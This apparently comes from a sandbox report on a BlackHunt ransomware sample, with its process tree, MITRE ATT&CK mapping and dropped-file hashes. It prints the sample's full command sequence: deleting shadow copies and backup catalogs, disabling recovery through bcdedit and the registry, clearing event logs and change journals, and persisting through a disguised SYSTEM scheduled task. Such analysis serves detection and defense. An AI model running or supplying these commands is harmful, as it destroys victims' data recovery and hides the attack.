- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2408
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2788
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:1444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2344
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2840
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2764
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2264
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2652
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:1516
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2772
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:2680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2616
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2656
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:2288
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2676
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2584
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1548
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1424
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1092
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:308
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:1524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:860
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:1636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe" /F
  2⤵
  PID:1968
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:1992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1332
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1344
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1260
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2400
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:2112
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:2724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2940
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:1504
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1916
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1424
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2984
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1216
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2996
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2216
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:268
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:788
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1484
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    - Modifies registry class
    PID:2256
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:3284
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:3368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:3180
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:3780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:2264
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:3732
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:3012
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:3624
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:3360
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3924
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:3364
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:3608
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2456
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:3228
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:3148
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4088
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:3636
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3968
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:3548
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:3872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3552
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:3304
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:3812
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:1996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:3276
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:4084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:3240
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:3880
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:3584
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:3884
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:3716
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:1660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:3560
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:3632
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:3832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:3720
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:964
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe"
  2⤵
  - Deletes itself
  PID:3828
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:2668

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2768

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3756

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:3364

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:3408

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
5b37f0efa0c34b4757af2bc5b42f8fbf

SHA1
d1ef872bdda48b3b6b5e5474bf8207e0986240c1

SHA256
151897d87f9e2c56711e11167990cb3445191cd99a5b01b41364640f4bff934b

SHA512
9819355269f6c1f5b00f2f2e535e744301b01f3443996dc4a46ed41bb6154e8ad4bfa37867791db38b40625a20caff3d398784bb25715f64193792832a61cf22

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
3e3899244753974cbb4574533e0802f5

SHA1
1527a6448c42e41c9962ca1efac7eea2519be0ca

SHA256
d52f41daee453cd0877be2dcdea699f67c59dd4de6077c666dbdb3ec2d2d585e

SHA512
faf5fa55949ebcd8a8c69b674c2cf672409d67ceba6cd752ff4fd7afacd7ad0fb353e1b4117b336171fbff8e3bc037177c272524ce6c7a3c80651dd3e0fdb8d7

Download Submit
\Device\HarddiskVolume1\#BlackHunt_Private.key

Filesize
1KB

MD5
afc7f5d4772ea80e9d493eacb8938d0c

SHA1
483f555fea0441c52264793e1070521495a5ec72

SHA256
7ce920c7e5d86f06ab88fc977bb45551437c316ee73f2d2b8c6f266b2a20d258

SHA512
f98c3c3064b1e1c7d6481258ffae70a10fb598025f3b5af298e812ced2996c221d31e917a1a3ece8a47b30c5a749019631d6fbb54e2bbfa65aacc0b7ee8250d2

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads